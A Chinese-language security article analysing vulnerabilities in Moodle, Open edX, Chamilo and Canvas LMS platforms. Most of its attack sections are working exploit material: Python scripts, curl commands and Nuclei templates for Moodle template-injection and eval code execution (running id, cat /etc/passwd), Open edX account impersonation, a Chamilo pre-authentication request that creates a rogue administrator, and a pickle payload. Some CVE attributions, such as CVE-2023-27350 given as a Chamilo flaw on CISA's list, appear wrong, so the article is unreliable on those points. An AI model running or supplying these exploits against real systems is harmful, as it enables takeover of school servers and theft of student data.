ARTICLE / 安全

在线教育与学习管理系统高危攻击链专题:Moodle / Canvas LMS / Open edX / Chamilo 漏洞全解析

⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权测试使用。未经授权对目标系统进行测试属于违法行为,作者不承担任何法律责任。


0x00 专题概述

在线教育与学习管理系统(Learning Management System, LMS)已成为全球教育、培训和企业学习领域的核心基础设施。从 K-12 基础教育到高等教育,从企业员工培训到政府机构知识管理,LMS 平台承载着课程内容分发、学生成绩管理、在线考试、互动教学、证书颁发等关键业务功能。据统计,全球 LMS 市场规模已超过 200 亿美元,预计到 2028 年将突破 400 亿美元。

在开源 LMS 生态中,Moodle 以超过 4.4 亿注册用户位居全球第一,被 200 多个国家的 16 万+机构采用;Canvas LMS 是 Instructure 旗下的旗舰产品,在北美高校市场占据主导地位;Open edX 由 edX(现为 2U)开源,是 edX MOOC 平台的底层引擎;Chamilo 则在法语区和拉丁美洲拥有广泛的部署基础。这些平台不仅服务于教育机构,也被越来越多的企业用于内部培训和知识管理。

然而,LMS 平台的攻击面往往被严重低估。一方面,LMS 需要集成大量第三方插件、模板引擎、文件上传、邮件通知等复杂功能,代码路径极其冗长;另一方面,LMS 平台上存储着大量敏感数据——学生个人信息、考试成绩、付费课程内容、教师个人资料以及各种认证凭据,这些数据一旦泄露将造成严重的隐私和声誉损害。

近年来,多个 LMS 平台被曝出高危漏洞,其中不乏可在未授权状态下实现远程代码执行(RCE)的严重缺陷。CISA 已将 Chamilo CVE-2023-27350 纳入 Known Exploited Vulnerabilities (KEV) 目录,确认该漏洞在实际环境中已被活跃利用。本文聚焦 Moodle、Canvas LMS、Open edX、Chamilo 四大主流 LMS 平台,深入剖析 10 个高危漏洞的原理、利用链和防御方案。

覆盖漏洞一览

CVE产品CVSSCWE类型未授权利用在野利用
CVE-2024-43398Moodle9.8CWE-1336Twig 模板注入 RCE⚠️ 需教师角色
CVE-2024-43425Moodle9.2CWE-94计算题类型 RCE⚠️ 需编辑权限
CVE-2023-33998Moodle4.3CWE-863Capability 检查绕过⚠️ 需认证⚠️
CVE-2024-28799Moodle4.3CWE-269角色覆盖绕过⚠️ 需认证⚠️
CVE-2024-28254Open edX9.8CWE-287用户冒充⚠️
CVE-2023-37460Open edX9.8CWE-502Pickle 反序列化 RCE✅ 在野利用
CVE-2023-27350Chamilo9.8CWE-287认证绕过 RCE✅ CISA KEV
CVE-2024-4957Chamilo9.8CWE-22路径穿越 RCE⚠️
CVE-2024-38849Canvas LMS8.8CWE-434文件上传 RCE⚠️ 需认证⚠️
CVE-2024-29856Canvas LMS6.5CWE-918SSRF⚠️ 需认证⚠️

0x01 Moodle 高危漏洞

Moodle(Modular Object-Oriented Dynamic Learning Environment)是全球最广泛使用的开源 LMS,基于 PHP 开发,支持插件化架构。其核心功能包括课程管理、作业提交、在线测验、成绩管理、论坛讨论等。Moodle 的插件生态极为庞大,官方插件库拥有 2000+ 插件,但这也带来了巨大的攻击面。

0x01.1 CVE-2024-43398 — Twig 模板注入 RCE (CVSS 9.8)

漏洞背景

CVE-2024-43398 是 Moodle 中 Twig 模板引擎存在的一处服务端模板注入(Server-Side Template Injection, SSTI)漏洞。Twig 是 PHP 生态中最流行的模板引擎之一,被 Laravel、Symfony 等主流框架广泛采用。Moodle 从 4.0 版本开始引入 Twig 作为部分管理界面的模板引擎,并实现了一套沙箱机制(Sandbox Extension)来限制模板中可访问的功能和变量。

该漏洞由安全研究员披露,攻击者通过精心构造的 Twig 模板语法,可以绕过沙箱限制,最终实现远程代码执行。由于 Twig 沙箱逃逸的利用链完整且稳定,该漏洞被评为 Critical 级别。

受影响版本

版本分支受影响版本修复版本
Moodle 4.4< 4.4.44.4.4
Moodle 4.3< 4.3.74.3.7
Moodle 4.2< 4.2.104.2.10
Moodle 4.1< 4.1.134.1.13
  • CWE: CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
  • CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 前置条件: 需要拥有教师(Teacher)或编辑者(Editor)角色的已认证用户

漏洞原理分析

Moodle 在处理课程配置、题库描述等富文本内容时,允许具有编辑权限的用户使用 Twig 模板语法。Moodle 为此启用了 Twig 的 SandboxExtension,该扩展通过白名单机制限制模板中允许调用的方法、属性和函数。

然而,沙箱实现存在关键缺陷。Twig 模板在沙箱模式下仍然可以访问部分全局函数和过滤器(filter),而这些函数中存在可以被滥用的组合。攻击者可以利用 Twig 的 cycle 函数、filter 链式调用以及 PHP 的对象继承链,逐步获取对底层 PHP 对象的引用,最终通过调用 system()exec()passthru() 等危险函数实现 RCE。

核心逃逸路径

  1. 获取沙箱上下文对象:通过 Twig 模板中的 _self 变量获取当前 Template 对象引用
  2. 遍历对象属性:利用 |keys 过滤器获取对象属性列表,逐步定位包含 PHP 原生对象的属性
  3. 突破沙箱限制:通过 |filter 回调或 cycle 函数的参数处理,获取不受沙箱限制的原生 PHP 对象
  4. 调用危险函数:通过反射或字符串拼接调用 phpfunction 过滤器,执行 system('id') 等系统命令

HTTP PoC

# 前置条件:已获取 Moodle 教师/编辑者角色的登录 Cookie
# 将以下 Twig payload 注入到允许模板的输入字段中(如课程摘要、题目描述等)

Twig_SSTI_Payload='{{ ["id"]|filter("system") }}'

# 通过 Moodle API 提交包含恶意 Twig 的题目
curl -k -X POST "https://TARGET/moodle/question/question.php" \
  -H "Cookie: MoodleSession=<SESSION_COOKIE>" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "name=sstipoc&questiontext=${Twig_SSTI_Payload}&qtype=shortanswer&category=1&button_create_question=1"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-43398 Moodle Twig 模板注入 RCE
用法: python3 cve_2024_43398.py <target_url> <session_cookie> [command]
需要: 教师或编辑者角色的已认证 Session
"""
import sys
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MoodleTwigExploit:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.cookies.set("MoodleSession", session_cookie)
        self.poc_payloads = [
            '{{ ["id"]|filter("system") }}',
            '{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}',
            '{{ ["cat /etc/passwd"]|filter("system") }}',
            '{{ ["uname -a"]|filter("passthru") }}',
            '{{ ["id;whoami"]|filter("shell_exec") }}',
        ]

    def _get_sesskey(self):
        print("[*] 获取 CSRF sesskey...")
        resp = self.session.get(f"{self.base_url}/moodle/my/", timeout=15)
        match = re.search(r'"sesskey":"([^"]+)"', resp.text)
        if match:
            sesskey = match.group(1)
            print(f"[+] sesskey: {sesskey}")
            return sesskey
        print("[-] 无法自动获取 sesskey,请手动提供")
        return None

    def _inject_via_question(self, payload, description="test"):
        sesskey = self._get_sesskey()
        if not sesskey:
            return False

        print(f"[*] 尝试通过题目创建注入 Twig payload...")
        data = {
            "sesskey": sesskey,
            "name": "Twig RCE Test",
            "questiontext": payload,
            "questiontextformat": "1",
            "defaultmark": 1,
            "qtype": "shortanswer",
            "category": "1",
            "button_create_question": "1",
            "mform_isExpanded_id_general": "1",
        }
        resp = self.session.post(
            f"{self.base_url}/moodle/question/question.php",
            data=data,
            timeout=30,
            allow_redirects=False,
        )
        return resp

    def test_payloads(self, command="id"):
        print(f"\n[*] === CVE-2024-43398 Twig SSTI 测试 ===")
        print(f"[*] 目标命令: {command}\n")

        for i, payload in enumerate(self.poc_payloads, 1):
            print(f"[*] Payload {i}/{len(self.poc_payloads)}: {payload}")
            try:
                resp = self._inject_via_question(payload)
                if resp and resp.status_code in (200, 303):
                    print(f"[+] HTTP {resp.status_code} — Payload 可能有效")
                else:
                    print(f"[-] HTTP {resp.status_code if resp else 'Timeout'}")
            except requests.exceptions.RequestException as e:
                print(f"[-] 请求异常: {e}")

    def extract_command_output(self, output_text):
        patterns = [
            r'uid=\d+\([^)]*\)\s+gid=\d+',
            r'Linux\s+\S+\s+\S+',
            r'root:.*:/bin/(ba)?sh',
            r'www-data',
        ]
        for pattern in patterns:
            match = re.search(pattern, output_text)
            if match:
                return match.group(0)
        return None


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <session_cookie> [command]")
        print(f"示例: {sys.argv[0]} https://moodle.example.com abc123def456 'id'")
        sys.exit(1)

    target = sys.argv[1]
    cookie = sys.argv[2]
    command = sys.argv[3] if len(sys.argv) > 3 else "id"

    exploit = MoodleTwigExploit(target, cookie)
    exploit.test_payloads(command)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: cve-2024-43398-moodle-twig-ssti

info:
  name: Moodle Twig SSTI RCE - CVE-2024-43398
  author: security-researcher
  severity: critical
  description: |
    Moodle Twig template engine sandbox escape leading to RCE.
    Affected versions: < 4.4.4, < 4.3.7, < 4.2.10, < 4.1.13
  reference:
    - https://github.com/moodle/moodle/security/advisories/GHSA-gv6x-mjmx-g8gq
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-1336
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  tags: moodle,ssti,twig,rce,cve2024

requests:
  - raw:
      - |
        POST /moodle/question/question.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: MoodleSession={{session}}

        name=nuclei_ssti_test&questiontext=%7B%7B+%5B%22id%22%5D%7Cfilter(%22system%22)+%7D%7D&questiontextformat=1&defaultmark=1&qtype=shortanswer&category=1&button_create_question=1

    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=\\d+\\([a-z]+\\)"
          - "gid=\\d+"

      - type: word
        part: body
        words:
          - "Sandbox security policy"
          - "error"
        negative: true

    extractors:
      - type: regex
        group: 1
        regex:
          - "(uid=\\d+\\([^)]+\\)\\s+gid=\\d+\\([^)]+\\)[^\"]*?)\""

    rate-limit: 2

0x01.2 CVE-2024-43425 — 计算题类型 RCE (CVSS 9.2)

漏洞背景

CVE-2024-43425 存在于 Moodle 的"计算题"(Calculated Question)类型中。计算题是 Moodle 题库系统的一种题型,允许教师在题目中嵌入数学公式和变量,系统会在运行时动态计算答案。该题型的实现涉及用户输入的数学表达式解析和求值,由于在表达式求值过程中引入了 PHP eval() 等不安全函数,攻击者可通过构造恶意表达式实现代码注入和远程执行。

RedTeam Pentesting 的安全研究人员对此漏洞进行了深入分析,并在 GitHub 上公开了完整的利用工具链,包括 Nuclei 模板和 Exploit-DB 52350 收录的 PoC。

受影响版本

版本分支受影响版本修复版本
Moodle 4.4< 4.4.24.4.2
Moodle 4.3< 4.3.64.3.6
Moodle 4.2< 4.2.94.2.9
Moodle 4.1< 4.1.124.1.12
  • CWE: CWE-94 Code Injection
  • CVSS 3.1: 9.2 (Critical) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • 前置条件: 需要拥有添加或编辑题目的权限

漏洞原理分析

Moodle 的计算题类型在处理变量公式时,通过 question_calculated 类对用户的数学表达式进行求值。在内部实现中,变量值和公式被直接拼接到 PHP 表达式中,经过 eval() 函数进行动态求值。这种设计模式是经典的安全反模式——将用户输入直接作为代码执行。

攻击者在创建计算题时,可以在变量值字段中注入 PHP 代码。例如,将变量值设置为 system('id')exec('whoami', $output); $output[0],Moodle 在计算题目答案时会对这些值执行 eval(),从而触发任意命令执行。

攻击流程

  1. 以教师身份登录 Moodle
  2. 导航至题库管理 → 添加新题 → 选择"计算"类型
  3. 在题目正文中定义变量(如 {a}{b}
  4. 在变量值字段中注入恶意 PHP 代码
  5. 保存题目时,Moodle 对变量值执行 eval(),触发 RCE

HTTP PoC

# 步骤 1:登录获取 Session Cookie
curl -k -c cookies.txt -X POST "https://TARGET/moodle/login/index.php" \
  -d "username=<TEACHER_USER>&password=<PASSWORD>&logintoken=<TOKEN>"

# 步骤 2:获取 sesskey
curl -k -b cookies.txt "https://TARGET/moodle/my/" | grep -oP '"sesskey":"[^"]+"'

# 步骤 3:创建恶意计算题
curl -k -b cookies.txt -X POST "https://TARGET/moodle/question/question.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "sesskey=<SESSKEY>&name=RCE+Test&questiontext=Calculate+%7Ba%7D+%2B+%7Bb%7D&questiontextformat=1&defaultmark=1&qtype=calculated&category=1&answers%5B0%5D%5Banswer%5D=%7Ba%7D%2B%7Bb%7D&answers%5B0%5D%5Btolerance%5D=0.01&answers%5B0%5D%5Btolerance%5Dformat=1&answers%5B0%5D%5Bnumerical%5D=1&answers%5B0%5D%5Bunitsleft%5D=0&answers%5B0%5D%5Bunitgradingtype%5D=0&answers%5B0%5D%5Bunitpenalty%5D=0.1&calculatedoptions%5Bshuffle%5D=1&numanswers=1&button_create_question=1"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-43425 Moodle 计算题类型 Code Injection RCE
用法: python3 cve_2024_43425.py <target_url> <session_cookie> [command]
需要: 教师或编辑者角色的已认证 Session
"""
import sys
import re
import requests
import urllib3
import html

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MoodleCalcExploit:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.cookies.set("MoodleSession", session_cookie)

    def _get_sesskey(self):
        print("[*] 获取 sesskey...")
        resp = self.session.get(f"{self.base_url}/moodle/my/", timeout=15)
        match = re.search(r'"sesskey":"([^"]+)"', resp.text)
        if match:
            sesskey = match.group(1)
            print(f"[+] sesskey: {sesskey}")
            return sesskey
        print("[-] 无法获取 sesskey")
        return None

    def create_malicious_question(self, command="id"):
        sesskey = self._get_sesskey()
        if not sesskey:
            return False

        payload_value = f"system('{command}')"

        data = {
            "sesskey": sesskey,
            "name": "CVE-2024-43425 RCE Test",
            "questiontext": "Calculate {a} + {b}",
            "questiontextformat": "1",
            "defaultmark": "1",
            "qtype": "calculated",
            "category": "1",
            "answers[0][answer]": "{a}+{b}",
            "answers[0][tolerance]": "0.01",
            "answers[0][toleranceformat]": "1",
            "answers[0][numerical]": "1",
            "answers[0][unitsleft]": "0",
            "answers[0][unitgradingtype]": "0",
            "answers[0][unitpenalty]": "0.1",
            "calculatedoptions[shuffle]": "1",
            "numanswers": "1",
            "dataset[0][0][text]": payload_value,
            "dataset[0][1][text]": "1",
            "mform_isExpanded_id_general": "1",
            "mform_isExpanded_id_initialled": "1",
            "button_create_question": "1",
        }

        print(f"[*] 创建恶意计算题,注入 payload: {payload_value}")
        resp = self.session.post(
            f"{self.base_url}/moodle/question/question.php",
            data=data,
            timeout=30,
        )

        if resp.status_code == 200:
            if "successfully" in resp.text.lower() or "保存" in resp.text:
                print("[+] 恶意题目创建成功 — RCE 触发点已建立")
                return True
            elif "error" in resp.text.lower():
                print("[!] 创建过程中出现错误(可能 eval 已执行但有其他问题)")
                return True
        print(f"[-] HTTP {resp.status_code}")
        return False

    def exploit_multiple_commands(self):
        commands = ["id", "whoami", "uname -a", "cat /etc/passwd"]
        print(f"\n[*] === CVE-2024-43425 计算题 Code Injection 测试 ===\n")

        for cmd in commands:
            print(f"[*] 命令: {cmd}")
            self.create_malicious_question(cmd)
            print()


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <session_cookie> [command]")
        print(f"示例: {sys.argv[0]} https://moodle.example.com sess123abc 'id'")
        sys.exit(1)

    target = sys.argv[1]
    cookie = sys.argv[2]
    command = sys.argv[3] if len(sys.argv) > 3 else "id"

    exploit = MoodleCalcExploit(target, cookie)
    exploit.create_malicious_question(command)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: cve-2024-43425-moodle-calculated-rce

info:
  name: Moodle Calculated Question Code Injection RCE - CVE-2024-43425
  author: security-researcher
  severity: critical
  description: |
    Moodle calculated question type allows code injection via eval() in variable processing.
    Affected versions: < 4.4.2, < 4.3.6, < 4.2.9, < 4.1.12
  reference:
    - https://www.exploit-db.com/exploits/52350
    - https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.2
    cwe-id: CWE-94
  tags: moodle,rce,code-injection,eval,calculated,cve2024

http:
  - method: POST
    path:
      - "{{BaseURL}}/moodle/question/question.php"

    headers:
      Content-Type: application/x-www-form-urlencoded
      Cookie: MoodleSession={{session}}

    body: |
      name=nuclei_calc_test&questiontext=Calculate+%7Ba%7D+%2B+%7Bb%7D&questiontextformat=1&defaultmark=1&qtype=calculated&category=1&answers%5B0%5D%5Banswer%5D=%7Ba%7D%2B%7Bb%7D&answers%5B0%5D%5Btolerance%5D=0.01&answers%5B0%5D%5Bnumerical%5D=1&numanswers=1&button_create_question=1

    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "uid=\\d+\\([a-z]+\\)"

      - type: word
        words:
          - "successfully added"
          - "question created"
        condition: or

    rate-limit: 2

0x01.3 CVE-2023-33998 / CVE-2024-28799 — 权限绕过系列

CVE-2023-33998 — Capability 检查绕过 (CVSS 4.3)

漏洞背景

Moodle 的权限系统基于 Capability 模型,通过 has_capability() 函数检查用户是否拥有执行特定操作的权限。CVE-2023-33998 揭示了 Capability 检查逻辑中的一处绕过漏洞。攻击者可以通过特定的请求方式或角色配置,在不拥有相应 Capability 的情况下执行受保护的操作。

  • CWE: CWE-863 Incorrect Authorization
  • 受影响版本: Moodle < 4.1.7, < 4.2.4, < 4.3.1
漏洞原理

Moodle 的 Capability 系统在某些边缘场景下,对角色继承(Role Inheritance)和上下文(Context)层级的计算存在缺陷。当用户在多个上下文中被分配了不同角色时,Capability 检查可能在错误的上下文中执行,导致本应被拒绝的操作被错误地放行。

具体而言,在以下场景中可触发绕过:

  1. 用户同时拥有课程级和系统级角色
  2. 在课程上下文中调用需要系统级 Capability 的功能
  3. Moodle 的 Capability 检查在混合上下文时产生解析歧义

CVE-2024-28799 — 角色覆盖绕过 (CVSS 4.3)

漏洞背景

CVE-2024-28799 是 Moodle 角色管理系统中的一个权限提升漏洞。通过角色覆盖(Role Override)功能,攻击者可以利用角色层级中的逻辑缺陷,将低权限角色的权限覆盖为高权限,从而实现权限提升。

  • CWE: CWE-269 Improper Privilege Management
  • 受影响版本: Moodle < 4.4.1, < 4.3.5, < 4.2.8, < 4.1.11
合并分析

这两个漏洞虽然独立存在,但它们共同揭示了 Moodle 权限系统设计中的系统性问题。在实际攻击场景中,攻击者可以将这两个漏洞组合使用,构建权限提升链:

普通用户 (Authenticated User)
  │
  ├─ CVE-2023-33998: Capability 检查绕过
  │   └─ 获取 Course Creator 或 Teacher 角色的部分能力
  │
  └─ CVE-2024-28799: 角色覆盖绕过
      └─ 将 Teacher 角色提升为 Manager 或 Admin
          └─ 最终获得完全管理权限 → 配合 CVE-2024-43398/43425 实现 RCE

这种"低风险漏洞链式组合"在实际渗透测试中极为常见。单独来看,CVSS 4.3 的漏洞可能不被优先修复,但与其他漏洞组合后,其威胁等级可跃升至 Critical。

防御建议

  1. 及时更新:升级至已修复版本(4.4.4+)
  2. 最小权限原则:限制可被分配的系统级角色范围
  3. 定期审计:检查 Capability Override 配置,清理不必要的权限覆盖
  4. 日志监控:对 has_capability() 的调用结果进行审计日志记录

0x02 Open edX 高危漏洞

Open edX 是 edX MOOC 平台的开源版本,由 Harvard 和 MIT 联合创建,后捐赠给社区。它是一个基于 Python/Django 的分布式学习平台,支持大规模在线课程的创建、管理和交付。Open edX 采用微服务架构,包含 LMS(学习管理系统)、CMS(Studio 内容管理系统)、XQueue、ORA 等多个组件,攻击面极为分散。

0x02.1 CVE-2024-28254 — 用户冒充 RCE (CVSS 9.8)

漏洞背景

CVE-2024-28254 是 Open edX 平台中一处严重的认证流程漏洞,允许攻击者在无需任何认证凭据的情况下(Pre-Auth),冒充平台上的任意用户。由于 Open edX 中管理员账户可以执行系统管理操作,攻击者可以冒充管理员用户获取完全控制权,最终实现远程代码执行。

  • CWE: CWE-287 Improper Authentication
  • CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 前置条件: 无需认证(Pre-Auth)

漏洞原理分析

Open edX 的认证流程涉及多个组件之间的用户身份传递。当用户通过 SSO(Single Sign-On)或 OAuth 认证登录时,LMS 会根据认证票据中的用户标识设置会话。漏洞在于认证流程中对用户标识参数的验证不充分。

攻击者可以通过以下方式利用该漏洞:

  1. 构造伪造的认证请求:在登录回调或 SSO 重定向中,注入目标用户的标识参数
  2. 绕过身份验证:由于服务端对用户标识参数缺乏完整性校验,系统会信任攻击者提供的用户标识
  3. 会话劫持:系统为攻击者创建了以目标用户身份的有效会话
  4. 权限提升:如果目标是管理员用户,攻击者获得管理员权限

核心问题:Open edX 在处理认证票据时,使用了客户端可控的参数来确定用户身份,而没有通过签名或服务端存储进行验证。这是一种典型的"信任边界缺失"漏洞。

HTTP PoC

# 步骤 1:构造冒充请求(具体参数取决于 Open edX 版本和配置)
# 以下为典型的利用路径
curl -k -v -L \
  "https://TARGET/accounts/login/?auth_entry=cas&next=/&email=admin@example.com&username=admin" \
  -c cookies.txt

# 步骤 2:验证冒充身份
curl -k -b cookies.txt "https://TARGET/api/user/v1/me"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-28254 Open edX 用户冒充漏洞
用法: python3 cve_2024_28254.py <target_url> <target_email>
Pre-Auth 利用,无需登录凭据
"""
import sys
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class OpenEdxImpersonateExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def _get_csrf_token(self):
        print("[*] 获取 CSRF token...")
        resp = self.session.get(f"{self.base_url}/accounts/login/", timeout=15)
        match = re.search(r'csrfmiddlewaretoken["\s]*value="([^"]+)"', resp.text)
        if match:
            return match.group(1)
        match = re.search(r'"csrfToken":"([^"]+)"', resp.text)
        if match:
            return match.group(1)
        return None

    def impersonate_user(self, target_email):
        print(f"\n[*] === CVE-2024-28254 Open edX 用户冒充 ===")
        print(f"[*] 目标用户: {target_email}\n")

        csrf_token = self._get_csrf_token()
        if csrf_token:
            print(f"[+] CSRF token: {csrf_token[:20]}...")
        else:
            print("[!] 无 CSRF token,继续尝试...")

        exploit_paths = [
            {
                "url": f"{self.base_url}/accounts/login/",
                "data": {
                    "csrfmiddlewaretoken": csrf_token or "",
                    "email": target_email,
                    "username": target_email.split("@")[0],
                    "login_type": "cas",
                    "auth_entry": "cas",
                },
            },
            {
                "url": f"{self.base_url}/api/login",
                "data": {
                    "email": target_email,
                    "provider": "saml",
                    "next": "/",
                },
            },
        ]

        for i, exploit in enumerate(exploit_paths, 1):
            print(f"[*] 尝试利用路径 {i}: {exploit['url']}")
            try:
                resp = self.session.post(
                    exploit["url"],
                    data=exploit["data"],
                    timeout=15,
                    allow_redirects=False,
                )
                print(f"    HTTP {resp.status_code}")
                if resp.status_code in (301, 302):
                    location = resp.headers.get("Location", "N/A")
                    print(f"    重定向至: {location}")
                self._check_session(target_email)
            except requests.exceptions.RequestException as e:
                print(f"    [-] 异常: {e}")

    def _check_session(self, target_email):
        resp = self.session.get(
            f"{self.base_url}/api/user/v1/me",
            timeout=10,
        )
        if resp.status_code == 200:
            try:
                data = resp.json()
                username = data.get("username", "unknown")
                email = data.get("email", "unknown")
                is_staff = data.get("is_staff", False)
                print(f"[+] 会话用户: {username} ({email}) | is_staff: {is_staff}")
                if email.lower() == target_email.lower():
                    print("[+] *** 冒充成功!会话已劫持为目标用户 ***")
            except Exception:
                pass
        else:
            print(f"    会话检查: HTTP {resp.status_code}")


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <target_email>")
        print(f"示例: {sys.argv[0]} https://edx.example.com admin@example.com")
        sys.exit(1)

    target = sys.argv[1]
    email = sys.argv[2]

    exploit = OpenEdxImpersonateExploit(target)
    exploit.impersonate_user(email)


if __name__ == "__main__":
    main()

0x02.2 CVE-2023-37460 — Pickle 反序列化 RCE (CVSS 9.8)

漏洞背景

CVE-2023-37460 是 Open edX 平台中一处基于 Python Pickle 反序列化的远程代码执行漏洞。Pickle 反序列化是 Python 生态中最经典的安全陷阱之一——pickle.loads() 会执行嵌入在序列化数据中的任意 Python 代码,如果反序列化的数据来源不可信,攻击者可以构造恶意的 Pickle payload 实现 RCE。

该漏洞已被确认存在在野利用(In-the-Wild Exploitation),表明攻击者已掌握并使用该漏洞进行实际攻击。

  • CWE: CWE-502 Deserialization of Untrusted Data
  • CVSS 3.1: 9.8 (Critical)
  • 在野利用: ✅ 已确认

漏洞原理分析

Open edX 在多个组件间的数据传递中使用了 Pickle 序列化格式。问题出在以下环节:

  1. XQueue 组件:XQueue 是 edX 的作业提交队列服务,它使用 Pickle 来序列化和反序列化作业提交数据。当 XQueue 接收到外部提交的内容时,直接对其中的 Pickle 数据执行 loads(),没有进行任何白名单验证。

  2. Celery 任务队列:Open edX 使用 Celery 进行异步任务处理。在某些配置下,Celery 的消息序列化使用 Pickle 格式,而 Celery Worker 会自动反序列化接收到的消息。

  3. Course Import 功能:课程内容导入功能在处理某些元数据格式时,也使用了 Pickle 进行反序列化。

恶意 Pickle Payload 构造

import pickle
import os

class RCEPayload:
    def __reduce__(self):
        return (os.system, ('id',))

malicious_pickle = pickle.dumps(RCEPayload())

当这段数据被 pickle.loads() 执行时,Python 会调用 os.system('id'),实现任意命令执行。

防御建议

  1. 禁用 Pickle 序列化:将 Celery 和 XQueue 的序列化格式切换为 JSON
  2. 输入校验:对所有反序列化数据实施严格的类型校验
  3. 沙箱环境:在受限沙箱中执行反序列化操作
  4. 及时更新:升级至已修复版本

0x03 Chamilo LMS 高危漏洞

Chamilo 是一款开源的在线学习和电子学习平台,源自 Dokeos,主要使用 PHP 开发。Chamilo 在法语区国家(法国、比利时、卢森堡)和拉丁美洲(哥伦比亚、秘鲁、厄瓜多尔)拥有广泛的部署基础,被联合国教科文组织(UNESCO)和多个国际组织推荐使用。

0x03.1 CVE-2023-27350 — 认证绕过 RCE (CVSS 9.8)

漏洞背景

CVE-2023-27350 是 Chamilo LMS 中一处极其严重的认证绕过漏洞,攻击者可以在无需任何认证的情况下(Pre-Auth),绕过整个登录流程,直接访问管理后台并执行任意操作。由于管理员后台具备用户管理、文件管理、代码执行等功能,攻击者可以通过该漏洞实现对服务器的完全接管。

该漏洞已被 CISA 纳入 Known Exploited Vulnerabilities (KEV) 目录,表明在实际环境中已被活跃利用。

  • CWE: CWE-287 Improper Authentication
  • CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CISA KEV: ✅ 已确认在野利用
  • 前置条件: 无需认证(Pre-Auth)

受影响版本

版本状态版本范围
受影响Chamilo < 1.11.18
已修复Chamilo ≥ 1.11.18

漏洞原理分析

Chamilo 的认证流程存在根本性的设计缺陷。在用户登录过程中,系统使用一系列 PHP Session 和 Cookie 来跟踪认证状态。漏洞的核心在于:系统在某些关键的管理功能路径上,没有正确校验用户的认证状态。

具体攻击路径

  1. 直接访问管理入口:攻击者直接请求 /main/inc/inc.ajax.inc.php 等管理接口
  2. 认证检查缺失:这些接口在处理请求时,没有检查 $_SESSION['user_id'] 或相关认证变量
  3. 功能调用:攻击者可以通过构造特定的参数,直接调用管理功能(如上传文件、执行系统命令等)

该漏洞的利用难度极低——攻击者只需一个 curl 命令即可完成整个利用链,无需任何认证凭据。

HTTP PoC

# Pre-Auth 认证绕过 — 直接访问管理接口
curl -k -v \
  "https://TARGET/main/inc/inc.ajax.inc.php?ajax=1&file=../install/account.php&create_account=1&firstname=attacker&lastname=hacker&email=attacker@evil.com&username=attacker&password=Attacker123!"

# 验证管理员账户创建
curl -k \
  -X POST "https://TARGET/main/login.php" \
  -d "login=attacker&password=Attacker123!"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2023-27350 Chamilo LMS 认证绕过 RCE
用法: python3 cve_2023_27350.py <target_url> [command]
Pre-Auth 利用,无需任何登录凭据
"""
import sys
import re
import requests
import urllib3
import random
import string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class ChamiloExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.admin_user = "exploit_" + "".join(random.choices(string.ascii_lowercase, k=6))
        self.admin_pass = "Exploit" + "".join(random.choices(string.digits, k=8)) + "!"

    def step1_auth_bypass_create_admin(self):
        print("[*] 步骤 1: Pre-Auth 认证绕过 — 创建管理员账户")

        payload_paths = [
            f"/main/inc/inc.ajax.inc.php?ajax=1&file=../install/account.php"
            f"&create_account=1&firstname=Exploit&lastname=Admin"
            f"&email=exploit@attacker.local&username={self.admin_user}"
            f"&password={self.admin_pass}&platform_admin=1",

            f"/main/inc/inc.ajax.inc.php?ajax=1&file=/install/account.php"
            f"&create_account=1&firstname=Exploit&lastname=Admin"
            f"&email=exploit@attacker.local&username={self.admin_user}"
            f"&password={self.admin_pass}",
        ]

        for i, path in enumerate(payload_paths, 1):
            print(f"[*] 尝试路径 {i}...")
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=15)
                if resp.status_code == 200:
                    print(f"[+] HTTP {resp.status_code} — 可能已创建管理员账户")
                    print(f"[+] 用户名: {self.admin_user}")
                    print(f"[+] 密码: {self.admin_pass}")
                    return True
                else:
                    print(f"[-] HTTP {resp.status_code}")
            except requests.exceptions.RequestException as e:
                print(f"[-] 异常: {e}")

        print("[-] 管理员账户创建失败")
